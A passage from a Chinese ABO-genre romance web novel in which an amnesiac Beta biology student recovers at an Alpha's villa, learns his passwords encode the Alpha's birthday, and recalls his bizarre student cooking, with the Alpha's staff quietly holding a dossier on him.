落地窗外的暑夏阳光照进来,青年颀长的身形却被映得有些过分单薄。 本就大病初愈的美人尚且没能补足气血,肤色被照得近乎透明,楚致的眉眼间仍有薄薄的疏离倦色。 可即使如此,端坐在沙发上的青年依然没显出什么颓弱的病气,甚至都没有借力窝倚进沙发里。 他坐得很正,瘦削挺拔的背脊如冰峰笔直。 ——在触手可及的日光之中,他却像是渺远独升的冷月。 严野客眉弓之下投落的阴影愈发沉暗了一分。 不过,尽管外表落在人眼中如此单薄病弱,不堪一折。 但其实,黎白榆此时的心境并没有几分失落。 他反而对严野客的回答完全不意外。 以自己的性格,哪怕真是被领养,恐怕也不会主动向人说。 而且黎白榆看到了三人照片里那个Beta的眼睛,就猜到了大概不是领养。 因为太像了。 他和那位Beta爸爸,都是罕见的蓝眸。 爸爸的发色也偏浅,只是没有黎白榆那么灿金,照片里的Beta有一头柔软的浅棕色发丝,额发之下是一片漂亮的湖蓝。 黎白榆的发色更淡,眼眸则比对方深一度。 是醉人的湛蓝色。 黎白榆还在思索。刚才他会提及领养,只是有些疑惑。 因为他记得,男性Beta并没有受孕能力。 想到什么,黎白榆去检索了一下。 果然,他搜到了辅助生育技术。 男性Beta和男性Alpha都没有自然受孕能力,但可以在人造移植器官和激素类药物的辅助下完成受孕。 尽管成功几率低,孕育过程也格外艰难,但并不是没有这种可能。 既然确认了自己记忆中的生理常识并没有出错,黎白榆就没有再额外关注这件事。 他也没尝试去和哪个家人发消息。 对这几天家人的毫无联络,黎白榆依然并无异样。 只觉得可能感情淡,很正常。 有些人天生六亲缘浅。 一旁的严野客似乎是不想戳他伤疤,也没有多问。 而黎白榆关掉照片,退出别人的朋友圈,旋即自己编辑了一条新内容发出去。 【黎Li:手机丢失,如有重要信息未回复,请重发消息给我,感谢。】 这条动态发出,很快又有了许多点赞。 黎白榆先意外了一下这么多人在刷朋友圈,然后就去翻了一下消息列表。 重新给他发消息的人也不少,大部分内容都是学业相关。 不过里面以探讨或求问为主,并没有多少真正需要紧急处理的科研内容。 看来黎白榆在休假前,确实把任务都处理妥当了。 不出所料的,家人分组果然也没有发来信息。 黎白榆慢慢翻看,他刚刚发这条动态,除了给未回复做解释,也是想依据发来的新对话来获取些信息。 因着消息诸多,他看手机的时间有些久,间或还要回复,裹着绷带的右手手臂也隐约生出了些许僵痛。 “别看太久。” 一旁的Alpha忽然开口,提醒他。 “医生说过,你需要休息。” 严野客的语气寻常,却在无意之中,依然会流露出一种难以忤逆的威重。 而黎白榆这时正巧想到了什么,也点头答应了现在就去休息。 他还有件事需要确认。 黎白榆去了客卧,关上了房门。房间内的布置居家且温馨,空间宽敞,铺好的床被都被新晒过,有着暖融融的日光香气。 但黎白榆暂时无心体会这些。他半扶着墙走过去,在书桌边的椅子上坐了下来。 一坐好,黎白榆就旷掉拖鞋,抬起清瘦修长的右腿,屈膝踩在了椅面上。 他挽起略显宽松的裤脚,低头看了一眼,就发现。 自己的脚踝外侧,踝骨上方,裸.露出的薄白皮肤上。 真的有一颗浅痣。 黎白榆愣了下,慢慢把手指挪过去。 他抱着复杂的心情,用指腹轻轻蹭了蹭。 没蹭几下,那枚原本淡色的浅痣就变红了,明得近乎发艳。 就连原本苍白似雪的皮肤都在受力之下,晕开了一抹薄粉。 “……” 黎白榆沉默了一会儿,又不死心地转过桌上的仪容镜,去看自己的脸。 镜子中,睫毛纤密的左眼下方,那枚淡色的泪痣被指尖几下轻按。 然后手指挪开,肉眼可见地。 泪痣也缓缓变红了。 ……完蛋。 黎白榆盯着自己的脸开始发愣。 镜中面容本就不多的血色缓缓褪去,只剩眼下被外力施染上的一点秾艳。 更显得那张漂亮灼然的脸蛋如此苍白。 愣了好一会儿,黎白榆终于有了动作。 他白着脸打开手机,开始搜。 【痣一碰就变色,是不是癌变前兆?】 好像还有种绝症叫什么……恶性黑色素瘤? 黎白榆提心吊胆地搜了一会儿,就发现自己印证了一句话。 上网查病,癌症起步。 他意识到这样不太行,开始考虑等复查时问问医生,或是自己的博士同学。 黎白榆自己学的是生物,他同校的联系人中应该就有各个方向的医科生。 正思忖时,房门忽然被敲响。 专心考虑的黎白榆不由被吓了一跳。 他扶着桌子起身去开门,就见严野客站在门外。 Alpha垂眸望过来,一眼就将视线锁落在了黎白榆的左眼下方。 尽管表面神色看不出异状,青年仍是那般美丽出尘的清冷模样。 但他眼下的淡痣却明显变红了。 被高出自己许多的男人淡淡睄了一眼,黎白榆怔了下。 他后知后觉,才意识到自己大白天关房门好像有点不对。 黎白榆咳了一声,涌出一点点心虚。 “我、我去倒杯水。” 不过还没等他动作,面前已经递来了一个水杯。 严野客看着他,没说话。 很显然,Alpha就是来送水的。 黎白榆瞥见杯子眼熟,这才发现正是刚刚客厅里那个。 水杯刚才就被放到自己面前许久,却被他忽略,临走时也忘了喝。 “谢谢。” 黎白榆轻声道谢,接过水杯。 不知是不是液体被重新加温过,杯壁还是热的。 黎白榆又道:“请问冰块放在哪里?” “你要冷敷?”严野客问。 “不是,”黎白榆摇头,“我是想喝点冰的。” 严野客面色沉静:“你现在不适合吃冰。” 黎白榆小声:“一点就行。” 他确实想喝,这个念头从出院前就有了。 不仅是喉咙还在钝钝地痛着,很希望有凉凉的触感冰一下,冷敷驱痛。 而且这几天,黎白榆还发现,自己可能真的牙口不错,有点爱吃冰。 不是说想吃严野客的意思。 是他比较贪凉,无论喉咙还是喜好,好像都对冰的东西存有渴望。 “现在出院了,喝点应该没大问题。”黎白榆继续小声。 他比严野客矮一点,自下而上看过来,过密的长睫将醉人的蓝眼睛都遮覆了小半。 明明没有多余的举动,神色也依旧冷清,可是青年放轻了声音,湛蓝中盛漾着期许的星点光亮。 ——却让人很难不误会,是在被撒娇。 严野客被他看着,眉目无波,两秒之后才道。 “不可以。” Alpha依然不同意,完全没动摇。 “你的肠胃受不了。” “而且吃冰会刺激咽喉粘膜,让喉咙更痛。” 黎白榆抠了抠脸颊。他听得出严野客虽然语气平静,但说话非常有分量,不像是能商量的模样。 不过接着,严野客又开口道。 “你会想吃冰,可能是因为贫血。” “缺铁会让人嗜冰。” 黎白榆略有意外:“是这样吗?” 他又想起来自己发色偏黄,或许真的有这种可能。 在门口站得有些久了,黎白榆无意识地扶了一下门框。 好像恰巧更应了方才那个贫血的猜测。 他刚刚站稳,却忽然感觉身体一沉,视线骤然挪旋。 “……?!” 门外的男人突然抬手,干脆地将他抱了起来。 黎白榆好歹也是近一米八的身高,此时却像张薄薄透明的纸片一样,被人轻飘飘地抄起来抱稳了。 他还发觉,这就是和之前一样的姿势,自己一偏头就 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虽然不严重,但加上贫血,长时间站立或行走就会有些累人。 黎白榆怔了怔,又说了声:“谢谢。” 他没想到住处会准备得这么充分,连轮椅都有。 “这么周全……” 屋内各处的陈设也都很妥帖,连桌子都没有尖角,不会撞到受伤。 黎白榆坐下的位置,不远处恰好就是收纳橱台。 无意识地,他还向那边看了一眼。 方才简单参观时,黎白榆就发现,别墅里的物资准备得也很齐全。 譬如纸巾之类的日化用品,存放的都是全新的囤货装,大份量。 就好像住在这里,哪怕与世隔绝,完全不出门,也可以稳妥地生活很久。 “这里是闲置的房产,”严野客主动开口,“之前做过民宿,所以东西准备的多。” “这样。” 黎白榆点头,听了解释,也就没再多想。 他到底是个Beta,也没如何了解过国内的民宿行情,不知道这么多的贵价用品,民宿若是真要提供,只会连本钱都全亏完。 更不知道对于那些占有欲过强的Alpha而言,私人所有被自己之外的信息素气味浸染—— 是多么不可能忍受、也完全没几率发生的事。 眼下,黎白榆只是觉得这个轮椅除了坐靠舒适,使用也非常好上手。 不仅滑动流畅,还有智能驾驶模式,可以随心去到每一个地方。 此时已近中午,黎白榆也没再回卧室,而是开着轮椅去落地窗边坐了一会儿。 严野客还有东西要收拾,顺便帮他把平板拿了过来。 黎白榆回国时只拿了pad,没带电脑回来。 毕竟科研项目资料颇多,且数据涉密,放在学校也更稳妥一些。 不过黎白榆拿到平板之后,却还有些犯愁。 因为他想不起来自己pad的密码了。 不像手机中各个App的密码,可以用短信找回。平板由于长时间锁定未使用,屏幕解锁时必须使用数字密码,连指纹验证都不行。 正对着pad发愁时,严野客走了过来,惹得黎白榆下意识抬头看了过去。 虽然举止周严沉稳,但Alpha真的是个存在感非常强的男人,让人很难忽略他的靠近。 而严野客走过来,没等黎白榆开口,就像是猜到了什么,开口说了一串数字。 “011109。” 黎白榆微愣:“密码吗?” 他试着把这六位数输在了屏幕上,pad画面旋即一变。 居然真的解锁了。 严野客说完就离开了,黎白榆在设置中找到密码,点开了钥匙串。 钥匙串中列出了设备之前自动保存的所有账号和密码,黎白榆看了就发现,在自己的过往记录中,虽然各个平台的密码不尽相同,但基本上全部的网站密码中,都包含有同一串数字。 011109。 这串六位数字有什么含义? 看起来,它似乎对自己非常重要。 黎白榆思考了几秒,旋即点开微信,在严野客的对话框中,选择了转账。 他转账的数额并不大,只是为了尝试一下自己的支付密码。 不过这次,同样的六位数字并没有奏效。 支付提醒密码错误。 黎白榆望着屏幕沉默,并没有退出。 停了几秒,他指尖微动,又输入了第二次。 不再是011109,而是把这串密码颠倒了过来。 ——一个非常简单的变位,核心仍旧是原本的六位。 这次,手机轻震了一下。 支付成功了。 不远处同样传来了震动,是严野客的手机收到转账的提示音。 黎白榆望过去,严野客也在看他。男人抬了下手机,沉默地对这个举动发问。 “011109,”黎白榆忍不住问,“这串数字是什么意思……你知道吗?” 他想知道,它对自己为什么这么重要。 问出口时,黎白榆还在想,对方会不会其实并不了解,只是之前偶然帮自己解锁过平板。 但不远处的男人看着他,淡然开口,却直接给出了答案。 严野客的声线依旧薄冷无澜。 “是我的生日。” “……” 黎白榆微怔。 ……生日? 黎白榆完全没想到会是这个答案,他所有的密码中,从来都没有使用过自己的出生日期。 却这般重视地嵌入了另一个人的生日。 所以,对过去的自己而言,如此不可或缺、万分重要的—— ……是眼前这个Alpha吗? 5. 第 5 章 005 两人的目光相对,黎白榆霎时有些不知所措。 事实上直到今日,直到眼前这一刻,黎白榆看严野客依然没有额外的特殊感觉。 也没能真正回忆起这人对他的不可或缺。 再联想到医生说过的和失忆一起的情感丧失,黎白榆更生出了一点隐隐的歉意。 或许,是他单方面地丢失了许多。 而不远处的Alpha看了他一眼,垂眸在屏幕上按了几下。 接着,黎白榆手中的手机也震了一下。 略显空荡的对话页面又弹出了一道红色,黎白榆看到严野客也给他转账了。 而且是刚才黎白榆尝试支付密码时金额的100倍。 ——黎白榆转了六块,严野客给他转账了六百。 “……欸?” 黎白榆意外,就听到严野客说。 “庆祝你出院。” 黎白榆张了张嘴,到底还是没拒绝。 毕竟是好意。 之前黎白榆给人银行卡打钱时,担心自己有什么款项遗漏,就有意比估算出的数额转得更多。 这次,他也只是把对方的转账记录保存到了收藏里记下来。 准备下回找个机会再给人打回去。 而黎白榆会转6元,则是因为他的数字习惯。 Beta学生物,经常做实验。实验这种事既科学又理性,但不算完全规律。 有时候即使做到了百分之百,实验数据能不能复现,也还是需要一点天意。 所以平时的日常中,黎白榆偶尔也会注意这个。 东方人骨子里的习惯,6和8比较好看。 或许,也算是一种严谨的科学式迷信。 “嗡嗡。” 紧接着黎白榆的手机又震了两下,是严野客又转了两个红包过来。 一个八十,一个八块。 两人原本空白的聊天界面中,顿时填满了耀目喜庆的红。 “?” 黎白榆抬头,就见严野客收起了手机,语气平静。 “688,这个数字好看。” 黎白榆:“……” 看来,学金融的可能更迷信一点。 严野客再度离开了客厅,黎白榆则坐在落地窗边,继续看起了自己的平板。 他的pad上也有微信,不过登录之后,黎白榆就发现,上面留存的聊天记录很少。 且大部分间隔挺久,基本都是和校内同学的学业沟通。 看来自己用平板登录微信的次数并不多。 黎白榆也没意外。 毕竟电脑和平板同时登陆时,微信会被挤掉。 因为上次登陆的时间比较早,里面也没有和严野客的聊天记录。 不过这次,Alpha不在旁边,黎白榆想了想,点开了严野客的朋友圈。 严野客的朋友圈并没有设置时间限制,他和黎白榆一样,动态内容也非常少,两只手都能数过来。 而且基本都是转发的资讯信息,黎白榆点开看了看,发现里面写着什么量化投资、基金管理。 是他不太了解的领域。 不过确实,都与金融相关。 而在一众的专业动态之中,还有一条内容显得格外与众不同。 那条朋友圈也是一个转发的链接,但与金融无关,而是一场摩托车越野锦标赛。 严野客转发时照旧什么文字都没配,但黎白榆点开链接,就一眼看到了他。 链接内是这场越野锦标赛赛的相关宣传,虽然是欧洲的比赛,但估计车手和观众有不少华人,所以这条中文资讯的阅读量很高。 页面稍往下拉,就能看到一张非常显眼的赛事照片。 图中的主角,正是严野客。 黎白榆有些意外,没想到Alpha还会骑机车,去参加越野赛。 这些天的相处,他本以为对方是非常严肃周谨的那种学霸或精英人士。 照片中,穿着修身赛车服的严野客却与平时印象有些不同。他单手拎着头盔,平日里惯用的细丝眼镜摘了,换了一副黑银色的薄片护目镜。 那张照片并不是特意的精修,只是现场的一张随手拍,但即使如此,依然没能掩住Alpha扑面而来的酷飒俊帅。 Alpha另一只手控握着的,正是自己身下骑跨着的赤红机车。 悍然狂野的重型机车和人相比,更显出男人身形修长,挺拔高卓。 黎白榆不由看了一眼自己手边,丁点液体没被撒出来的水杯。 能驾驭那种巨器的男人,力量确实会十足的强悍精准。 怪不得会觉得严野客腿长。 黎白榆想。 骑摩托要是腿不够长,估计下车时脚都够不到地上。 那腿短的人要怎么下车? 习惯性的,黎白榆的思维又忍不住发散了一点。 是不是需要自备踏板? 照片下面还有文字注解,黎白榆看到,标注中对严野客的称呼是“严队”。 显然,Alpha正是一支机车车队的队长。 但其实即使没看到这段文字,这件事也很容易能猜出来。 非常明显——并不是因为严野客身上有什么专业标识或者特殊袖标。 而是他本人的气场。 照片里还拍到了不少其他的车手,构图也不算是多么专业与精心,因为色彩过多,画面甚至可以说是有一点杂乱。 但无可置疑,人群之中,严野客正是那个绝对的视觉中心,众星拱月的决策者。 一眼可见的定海神针。 黎白榆还发觉,照片中的诸多车手尚且未带头盔,他们的发色和皮肤油彩都非常晃眼,堪称五颜六色、千姿百态。 唯独严野客仍是一贯的黑发黑镜片,肃色沉郁,神情严冷。 即使在如此野性无羁的越野户外,Alpha依然是出挑显眼的冷静持重。 想到这些天严野客的举止反应,黎白榆只觉对方的确性情淡泊。 感觉情绪非常稳定。 好像什么都不可能会让他波澜浮跃。 这是学金融的好手啊。 黎白榆想,Alpha这性格,学业成绩肯定很不错。 一向学霸思维的黎白榆看完链接,获取完应有的信息,就关掉了微信。 他又去看了一眼Pad里的外网软件和校内邮件。 黎白榆之前有两张电话卡,国内和北美各一张,幸好他北美的电话卡就插在平板里,没有丢。 不然现在他人在国内,都不好补办。 用平板顺利登陆了外网平台,黎白榆就发现,自己回国之前对这部分也有处理交代。 他的邮箱设置了自动回复,teams也同步挂出了外出状态,标明了假期结束后会尽快回复。 因为知道他在休假,各个平台发来的新信息也不多。 虽然之前已经按自己性格推测出会有这些准备,不过亲眼看到没问题,黎白榆还是小松了口气。 在感受到安心的同时,黎白榆也感知到了四肢翻涌上来的疲惫感。 平板比手机份量更重,他的右臂又有些隐隐作痛。 看来身体状况还是有一点虚。黎白榆将平板放好,肩背微松,转头望向了窗外。 落地窗外日光尚好,绿意正浓,房前的庭院如此幽静。 黎白榆轻轻后靠,身体被腰枕稳稳托住,望向窗外的视线微微放空。 在一片安然宁静的景色之中,美丽的青年慵懒地晒着窗外太阳,有一搭没一搭地心想。 这庭院的外墙……好像还挺高的。 踏板都不行。 估计得撑杆跳,才能有机会尝试去翻? * 黎白榆在窗边晒太阳,晒得都快睡着了。 直到身后传来了声响,严野客在叫他吃饭。 “来了。” 青年应了声。 歇过这一会儿,他也没再继续用轮椅。黎白榆撑着扶手起身,颀瘦身形站直,朝餐厅的方向走去。 严野客就在桌边,餐点和碗筷都已经摆好了。 黎白榆看见,餐桌上有一盅粥,还有一叠清淡的绿色小菜。 此外再没了其他东西,大概这就是午餐的全部。 椅子已经被拉开,黎白榆道了声谢,却不是很有胃口。 看着眼前的这盅白色糊糊,Beta不禁开始微微发愣。 黎白榆总觉得自己之前喝过很多次这种白色糊状物,可能是燕麦、粥羮或者代餐冲剂一类的东西。 哪怕他现在失忆了,记忆不甚清晰,但还记得这些糊糊口感平平。 只是饱腹而已。 而且现在,黎白榆还是有点想喝冰的。 想缓解下喉咙的干疼微涩。 刚才的水,他也是放凉后才喝了一点。 犹豫了一下,黎白榆还是开口道。 “辛苦了,我喝补剂就好……” 其实Beta根本都没想到今天午餐会吃饭,他原本以为会和出院前一样,三餐都喝医院开的营养补剂。 虽然味道不能算好喝,但好歹可以凉一点。 而面前的粥盅非常厚实,看着就是汤粥热烫的那种。 “问过医生,”严野客道,“出院后,补剂改成隔日喝。” 盛好的白粥小碗已经被Alpha递了过来,黎白榆又低低道了声谢。 他不想辜负对方的好意,终是不好再推脱。 汤匙慢慢地舀了一点白粥,黎白榆低着头,谨慎地先用唇瓣去碰。 他怕烫,并没有立刻全送入口中。 但下一秒,Beta却长睫微动,倏然睁大了眼睛。 ? 不烫。 不仅完全不烫,还出乎意料地好喝。 味蕾触及温粥,黎白榆的眼睛都亮了起来。 这跟自己身体记忆里的冲剂糊糊完全不一样,是一种香浓咸鲜的粘糯。 熬到软烂的粥米入口即融,这不是那种稀汤沥水、还能看的到一颗颗整个米粒的水粥。 而是彻底煲到了火候的绵密黏柔。 粥的味道也并不寡淡,带一点不浓不重的咸鲜口。 恰到好处的鲜味唤醒了没精打采的恹恹食欲,胃口被打开的同时,从喉咙到胃部都跟着产生了一种惬意的舒适。 “这是什么粥?” 黎白榆忍不住问。 白粥被翻舀开,他这时才注意到这并不是素粥。 莹润雪白的粥米之下,还有一点细碎的肉末,白胖的花生,以及一些认不出种类的细长条带。 严野客道:“发菜瘦肉花生粥。” 原来那种深色条带是发菜。 黎白榆恍然,还没忘记又喝一口。 他低着头,但是感觉到自己脸上应该有宽面条泪在流。 好好喝啊。 惊为天粥。 喝得太专心,直到另一碟青绿的小菜被向黎白榆眼前推了推,他才想起来要配粥吃。 那碟青菜是一种绿叶菜,看起来有点像菜心的嫩尖,但又比常见的菜心更细嫩。 黎白榆没能认出它的准确物种,挟了一小筷,只觉得比想象中还要鲜香爽口。 小菜上明显有香油的馥郁香气,看做法也像是凉拌的。 只是它并不像常见的配菜那样冰凉,反而还带着一点温度。 ——就好像它不是提前备好的预制品,而是现做的一样。 不过现在黎白榆被粥的美味所惊艳,已经完全不介意温度够不够冰了。 温热的香粥配着脆嫩的青菜,直接让黎白榆吃出了满足的幸福感。 留学生回家的快乐,此时被如此真实地具象化了。 喝完一碗,没用帮忙,黎白榆就主动地又盛了一回。 虽然习惯使然,青年的面容依旧清雅淡薄。 但他的情绪已经从动作间浅浅流露了出来。 Beta并不知道此时的自己有多么悦目。他的含情注视,衬得此时掌间最素净的白瓷碗都像是什么奢贵的艺术品。 低头专注喝的时候,他又很容易让人联想到那种一猛子扎进牛奶碗里的雪团子幼猫。 黎白榆继续边喝边在想象中流快乐的眼泪,直到他听见对面的Alpha说。 “别喝太多。” “唔。” 黎白榆也意识到一个人把粥都喝完不礼貌,喝完第二碗,他就停下了。 只不过青年难免还有些恋恋不舍,连碗底的薄薄粥汤都被他给舀干净了。 黎白榆还朝桌上看了一眼,最开始他原本觉得那个粥盅好大。 现在反而觉得尺寸小了点,有些难以满足。 吃完这顿午餐,原本沙痛的喉咙被润泽,连被烘暖的胃腹也跟着舒服了许多。 黎白榆这时才后知后觉,之前自己身体无力不舒服,大约也有一部分症状是胃在难受。 他很自觉地负责了餐后工作,把碗筷都收起来洗了。 不过其实也没用上黎白榆洗,因为他刚把东西搬到厨房,严野客就跟了过来。 黎白榆刚要说“我来就好”,神色漠淡的Alpha就直接拉开了柜中的洗碗机。 洗碗机真的非常好用,就连厚重的汤盅都能一起洗净。 没怎么费力地收拾完餐厅,因为饭后晕碳,黎白榆就回客卧 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房间里很安静,此时又正是午后时分,黎白榆原以为Alpha还在房间里午休,或是在他自己的书房。 却没想到男人就在客厅,黎白榆一推开门走出去,就撞上了严野客的视线。 男人面前开着一台笔记本,高挺鼻梁上本就薄凉的银丝眼镜微微反射出屏幕的光亮,更显得他眉眼肃淡,神色漠寒。 两人目光相对,许是黎白榆流露出的探寻意味,Alpha看着他稍微挑了下眉。 找我? 黎白榆确实是想找他问。 “那个,请问中午的粥是在哪里买的,我可以问下店名吗?” 虽然知道自己回去北美之后大概率很难喝到,但黎白榆还是没能按捺住。 说不定呢。 说不定这家粥铺做得这么好,在北美也开起了分店。又或者是出了什么耐储存的半成品,罐装能过海关,自己就可以提前买了带过去。 怎么不得把行李额都全装满。 但严野客平静看着他,长指在桌上轻点了一下,却说了个完全出乎人意料的答案。 “我做的。” 黎白榆愣了。 ……是对方自己煮的? 而那边Alpha讲完,又睄了眼电脑,道。 “没和你说。” 黎白榆意外。 在打电话吗? 他这时才注意到严野客耳中确实有一枚黑色的蓝牙耳机,只是对方仅戴了单侧,又是没正对客卧的这边,所以黎白榆才没有在第一时间注意。 黎白榆不由有些歉意,既然Alpha在忙,他也不想再打扰对方。 但黎白榆才刚要退开,却又被严野客叫住了。 “晚上想吃什么?” 严野客问他。 Alpha解释。 “我在和邻街菜场的摊主通话,他问今天要什么菜,可以帮忙预留。” 黎白榆听得好奇,被吸引了注意力。 “可以任选吗?” 他还心想,原来这位对着菜场的摊主大哥,也这么像大老板吗。 不过黎白榆转念一想。 既然是顾客,好像确实可以算老板。 Alpha已经点头:“可以。” 黎白榆认真思索,微微蹙眉。 说到任选,反而一时会有点想不出来。 严野客看了他一眼,又问。 “你有没有印象,之前常吃什么?” 这么一说,黎白榆还真被引导着想起了什么。 Beta握指轻敲了下掌心。 “啊,对了。” 严野客望着他,等黎白榆的答案。 甚至包括电话的那边,严野客的特助也在安静屏息,等待回答。 尽管北美的助理组已经收集全了黎白榆的所有私人信息,涵盖吃穿住行、细节习惯,无一缺失。 但这毕竟是黎先生第一次亲口对老板说出自己的喜好。 而这边,黎白榆也的确想起来了一点。 “在学校里,我好像常吃羽衣甘蓝、长杆西蓝苔、孢子甘蓝球,还有西芹这些。” 都是北美超市的常见菜。 严野客淡淡问。 “清炒?” 听起来很健康。 黎白榆却摇头:“不是。” 他老老实实讲:“炒不一定能炒熟,所以我之前会把甘蓝,西蓝花,芹菜萝卜这些统统洗干净,放榨汁机里。” “——然后日的一声打成糊糊。” 严野客:“……” 特助:“………………” 虽然对通话的实况毫不知情,但Beta还是感受到一点有如实质的沉默氛围。 黎白榆抓了抓脸,有点不好意思,却还是很诚实。 “其实不太好喝,可能还不如蔬果粉方便。” “而且回国了,参考意义不大,”他很诚恳,“不然还是吃绿叶菜吧。” 严野客的表情依然没表露出什么起伏,他对着耳机直接下了决定。 “留两根金银玉米,一斤天绿香。” 通话里,特助反射性地应声答应:“是。” 虽然答复依旧流畅,但特助其实已经开始僵了。 因为他们当初的调查非常全面,针对黎白榆的所有领域,收集了他的全部信息。 甚至包括一些校内的日常问卷、留学生联谊的非正式互.评。 黎白榆实在太过天才耀眼,无论绩点还是令人惊叹的科研成果——这就让调查者很容易对他生出一种基于钦佩的敬服与信任。 所以对他自己亲手填写的内容,也不会产生过多的怀疑。 于是在特助审核上交、亲手呈递给老板过目的整合资料里,就有着这样的一条信息。 在被调查者信息概述的第一页,就这样依据对方自己在日常问卷中所写的答案、明晃晃地标着—— 【黎白榆 生活喜好:厨艺。 日常兴趣:厨艺。 自评特长:厨艺。】 …… 特助的冷汗唰一下就下来了。 看着视频通话里顶头上司冷漠的脸,虽然老板根本没再看他一眼,但特助还是浑身上下都凉透了。 以老板的过目不忘,和他对那份资料的重视程度—— …… 完了。 这回是真完蛋了。 6. 第 6 章 006 一片寒凉中,特助已经在考虑去算自己被开除的N+1了。 谁能想到黎白榆这种天才,却唯独在厨艺方面有着这样近乎荒唐的自我认知。 关键是那问卷填得还格外认真,其他信息也被印证了一一属实。 包括“特长”那一栏,单是线上记录的页面停留时间,也能看出填写人的慎重对待。 而且之前的调查,也不只是看主角一人的自评,助理组还特意搜集过实验室以及同级留学生们的聚会信息。 互.评卡上,确实有不少人为黎白榆给出了满分评价。 ——包括他的厨艺。 特助现在怀疑这根本是色令智昏,这些人全都被黎先生的脸所蒙蔽,就着他美丽的脸把东西硬吃了下去,然后昧着良心捧场夸不错。 要么就是有人真的天赋异禀,味觉先天失灵。 恨他们所有人。 视频里的老板依然冷漠的连一个眼神都吝啬给过来,只说了一句“菜钱和上门费一起转你”,通话就挂断了。 特助拔凉拔凉地,心都冻透了地去通知值班组备菜。 而这边,黎白榆听人说完,原本不想再多叨扰,却听挂了电话的严野客叫他。 “过来坐。” 男人的声音还是低沉淡淡的,又隐有着不太容易能顶抗的肃冷凉薄。 黎白榆还没动,又听他说:“你想起来之前吃饭的习惯了?” 这种找回的记忆进度,确实有必要和对方聊一聊。 黎白榆走过去,解释说:“嗯,是因为实验想起来的。” 他前两天就回想起了一些之前实验的方法和流程,眼下这点生活习惯,也是从实验日常的回忆而得来。 “平时实验忙,我就比较常吃代餐粉,米糊,蔬果汁还有营养冲剂之类的。” 严野客看着他,问:“外食呢?” 黎白榆想了想:“外食好像不多。” 因为要盯实验,他会出去聚餐的次数本来就很少。 当然,也不可能说完全杜绝。黎白榆还隐约记得,平日里来找自己的聚餐邀约应该不少。 不然以他这种性格,还是更喜欢自己一个人待着。 哪怕是独自打糊糊喝。 “也有出去过,不过我对外食比较敏感,”黎白榆说,“有时候全实验室一起聚餐,可能食材稍微有点不新鲜,别人都没事,只有我会上吐下泻。” 他点外送也没能找到很合心意的餐馆,久而久之,黎白榆宁愿自己冲代餐粉喝,也不愿意浪费时间外出吃饭了。 怕生病耽搁,更会影响实验进展。 “所以我刚刚才想问问中午那个粥。” 黎白榆微低着头,轻轻别拢了一下自己耳后金灿灿的浅发。 “因为我真的觉得很好吃,而且吃了也完全没觉得不舒服。” 他说着,自己又想到了什么。 “啊,我好像想起来我为什么不喜欢白色糊糊了。” 严野客:“为什么?” 黎白榆说:“因为我之前有段时间缺蛋白质,当时在赶实验,时间紧,就把买来的鸡胸肉打成了糊。” 虽然喝惯了糊糊,但Beta终于也遇到了连自己都受不了的特例。 “打完之后确实做熟了,就是那个味道给我喝的有点恶心。” 他在超市买到的鸡胸肉还是那种十连盒的整包,做的时候也一次性全给打出来了,打完就分装放进了冰箱。 然后黎白榆就连喝了五天的鸡胸肉糊糊。 结结实实地给自己喝出了阴影。 “之后我好像就不太喜欢这种颜色的糊糊了……” ——所以只是不喜欢白色,但糊糊还在喝。 严野客的神情波澜未动,如果要是特助还在这里,听到这些话肯定会痛苦面具、匪夷所思,觉得自己简直死得太冤了。 谁能想到顶着这种绝美长相的清冷大美人,会拿鸡胸肉榨汁啊!! 而Alpha只“嗯”了一声,听到黎白榆顺利地回忆起了这么多,也反应平静。 看不出在想什么。 严野客还问了一句:“其他的呢?” 其他的…… 黎白榆认真思索,他回忆起来的基本都和科研相关,而做实验时,他会吃的花样本来也不多。 基本就是刚刚说的这些了。 不过紧接着,黎白榆还真想到了什么。 “对了,我还想起了我的拿手菜。” “不是榨汁,是我自己做的。” 说到这里,Beta黛蓝色的眼睛都亮了起来,皎如日星,灼灼灿然。 “叫意大利面夹热狗。” 严野客:“?” 黎白榆拿起手机,从微信的收藏中找出了一张照片。 看得出,他对自己的这道菜确实非常满意,还特意拍了照留念。 “这应该是我备菜的时候拍的。” 黎白榆把照片拿给了严野客看。 只见照片上,粗长金黄的意大利干面宛如崭新的木签一样,被一根一根地排列着,间隔均匀,笔直竖长。 看起来还有着一分整齐的美感。 ——如果它不是被一根一根、密密直直地插进了热狗里的话。 严野客:“……” Alpha沉默无言,看着照片。插满了意大利面的肉肠像是遭受了什么酷刑一样,又像是进化出了什么奇怪诡谲的新面目。 像蚰蜒。 Alpha不带偏颇地客观评价。 或者那种步足加长版的千脚蜈蚣。 虽然已经看过一遍,但图片的冲击力依然分毫不减。 而照片的创作者还在认真介绍。 “当时我在做基因敲低,在实验室待的时间比较长,所以煮的好像有点久了,不过做出来的成品还蛮好吃的,摆盘效果也很不错。” 黎白榆皙白的指尖微动,接着又点开了收藏里的下一张图片。 那张照片上的作品已经被煮好了。“摆盘”的意思就是指把软下来的意大利面卷起来,整整齐齐地裹在热狗外层。 整体样子看起来确实比之前的蚰蜒好了一点。 也就一点。 但Beta觉得很开心。 “吃不到肉夹馍,能吃到热狗夹意大利面也不错。” 真不愧是做饭人的灵机一动,留学生的触类旁通。 严野客神情淡漠,面对这么有创造性的菜品也没改了面色。 他只扫了一眼屏幕,说:“但这个收藏的日期是圣诞。” 黎白榆刚刚说他当时在做实验,但节日公休,在圣诞当天,学校的实验楼是不开门的。 黎白榆也咦了一声。 他仔细看了眼日期,是去年的圣诞。 斯坦福圣诞确实会放假,而且出于实验室的安全管理,假期当天哪怕学生想加班,也不会被允许进去。 那…… 黎白榆蹙眉思忖了一会儿,终于回想起了一部分经过。 “哦对,这好像不是第一次,是后来我第二次做的时候拍的。” 他还隐约想到。 “当时在过节对吧,我好像还请了朋友一起来吃。” 始终面色沉静的Alpha听到这一句,却倏然眸色微动。 黎白榆还在回忆。 “但这次不知道为什么……我好像吃完又有点胃疼,问了朋友,他说吃完也有些不舒服。” 因为胃痛,黎白榆第二天去实验室还差点起晚了。 也是由于这点实验相关,他才回想起了这次的经过。 黎白榆有些疑惑:“为什么这次会不舒服呢……” 明明第一次做完全没问题的。 身侧的严野客又开口,问他。 “你吃的时候,热狗什么口感?” 黎白榆努力回想了一下:“好像带点脆脆的感觉?比平时要耐嚼一点。” 当时他还看了一眼,确认自己买的还是之前那款,并不是脆骨肉肠。 严野客平静回答:“那可能是插进热狗内部的意大利面没煮熟。” “……啊。” 黎白榆抓了抓头发,有点点尴尬。 “原来这样……” 